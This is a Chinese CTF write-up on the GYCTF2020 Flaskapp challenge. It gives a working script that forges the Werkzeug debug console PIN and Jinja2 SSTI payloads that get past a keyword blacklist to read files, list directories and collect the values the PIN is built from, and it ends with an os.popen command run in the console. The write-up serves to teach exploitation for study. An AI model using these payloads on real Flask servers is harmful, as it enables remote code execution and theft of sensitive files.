CTF中python问题之pin码

前言

此篇接着记录CTF中关于Python安全的问题

记录一下关于pin码的使用

这里仅仅对pin码的利用方式做一个记录,具体的分析方式可以参考

https://xz.aliyun.com/t/2553#toc-2

利用条件

针对flask 开启debug模式的条件下。触发flask报错,可进入控制台,旧版flask不需要pin码就可以记录,而新版的需要。

但是每台环境下的pin码是固定的,如果我们能拿到pin码,就可以调用控制台,执行任意命令了。

重点在于我们得知道6个参数:usernamemodnamegetattr(app, '__name__', getattr(app.__class__, '__name__'))getattr(mod, '__file__', None)uuid.getnode() get_machine_id()

关于每个参数的获得:

1
2
3
4
5
6
username   为启动flask项目的用户,我们可以通过读 /etc/passwd 文件,读 /proc/self/environ 环境变量也行
modname 一般情况下为flask.app
getattr(mod,'__file__',None) 为flask目录下 app.py 的绝对路径,通过报错可以获得。
getattr(app, '__name__', getattr(app.__class__, '__name__')) 为Flask
uuid.getnode() 为当前环境的mac地址,要转为10进制,一般可以通过读 /sys/class/net/eth0/address
get_machine_id() 读机器id ,在 docker 环境下我们读 /proc/self/cgroup,非docker环境下我们读 /etc/machine-id

然后利用网上一位大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377866470',# str(uuid.getnode()), /sys/class/net/ens33/address
'ed1616399be178a31fb6674be6f2ace57c452a153074871779d6d4a26a5211c1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

然后可以拿到 pin码,触发报错,输入pin码可以直接进入控制台,执行任意命令。

demo

这里以GYCTF2020 Flaskapp为例子

打开题目,是一个base64加解密功能,试了一下,发现真的可以加解密,不过我在解密那里随便输入一个数,会报错,很显然开启了debug模式,我们在报错中找到一段:

1
2
3
4
5
6
7
8
9
10
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

这代码逻辑很清楚,就是把base64加密后的字符串进行解密,然后通过 render_template_string() 返回,很显然这里是存在ssti的。

我们随便尝试一下 {{7+9}} 的base64加密为:e3s3Kjl9fQ== 在解密那里提交进行解密:

hellossti.png

然后到这里基本上有两个思路,一个是用ssti直接打flag,但是有Waf过滤,我们想办法绕过就好

另外一种就是拿pin码,不过还是得需要利用ssti来获得产生pin码的几个参数值。

两种都可以试试:

绕waf的ssti

试了几个payload发现都被Waf拦了,所以想办法先读app.py的代码:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

1
2
3
4
5
6

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

可以看到过滤了一些关键词,但是问题不大。没过滤加号,我们可以直接拼接绕过。接下来尝试读取一下根目录:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

然后发现根目录下有一个 this_is_the_flag.txt 文件 我们去读它:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open("/this_is_the_f"+"lag.txt",'r').read()}}{% endif %}{% endfor %}

即可。

拿pin码

拿pin码其实思路也差不多,也是利用ssti去读

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

用这个payload 依次去读取 /proc/self/environ 拿到username ,/sys/class/net/eth0/address 拿mac地址,然后16进制转一下10进制 (直接pyhton print(0x)) ,然后利用报错拿绝对路径,然后因为这里是docker环境,我们读/proc/self/cgroup 来拿机器id。

然后带入脚本跑出pin码,进入控制台

os.popen("cat /this_is_the_flag.txt").read()